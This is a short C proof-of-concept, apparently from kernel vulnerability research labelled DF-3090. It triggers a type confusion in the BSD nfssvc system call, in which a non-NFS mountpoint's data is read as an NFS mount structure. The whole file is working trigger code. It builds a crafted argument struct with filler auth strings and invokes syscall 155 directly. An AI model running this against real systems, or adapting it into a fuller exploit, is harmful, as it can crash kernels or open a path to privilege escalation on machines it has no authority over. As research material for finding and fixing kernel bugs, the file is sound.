/* DF-3090 - NFSSVC_MNTD type-confuses a non-NFS mount into struct nfsmount.
 * nfssvc(NFSSVC_MNTD[,GOTAUTH], ncd{ncd_dirp=<non-nfs mountpoint>}).
 * nmp = VFSTONFS(vp->v_mount) with only a VROOT check -> mnt_data of a
 * hammer2/ufs mount reinterpreted as struct nfsmount inside nfs_clientd().
 */
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/param.h>
#include <sys/mount.h>
#include <sys/syscall.h>
struct nfsd_cargs_k {
	char *ncd_dirp;
	uid_t ncd_authuid;
	int ncd_authtype;
	u_int ncd_authlen;
	unsigned char *ncd_authstr;
	u_int ncd_verflen;
	unsigned char *ncd_verfstr;
	unsigned char ncd_key[8];
};
#define NFSSVC_MNTD 0x100
#define NFSSVC_GOTAUTH 0x400
int main(int argc,char**argv)
{
    struct nfsd_cargs_k ncd;
    int flags = NFSSVC_MNTD;
    if(argc<2){fprintf(stderr,"usage: df3090 mountpt [auth]\n");return 2;}
    if(argc>2) flags |= NFSSVC_GOTAUTH;
    memset(&ncd,0,sizeof ncd);
    ncd.ncd_dirp = argv[1];
    if(argc>2){ ncd.ncd_authlen=16; ncd.ncd_authstr=malloc(16);
                memset(ncd.ncd_authstr,0x41,16);
                ncd.ncd_verflen=8; ncd.ncd_verfstr=malloc(8);
                memset(ncd.ncd_verfstr,0x42,8); }
    errno=0;
    errno=0;
    long r = syscall(155, flags, &ncd);   /* SYS_nfssvc */
    printf("nfssvc(0x%x) ret=%ld errno=%d (%s)\n",flags,r,errno,strerror(errno));
    printf("returned without crash\n");
    return 0;
}
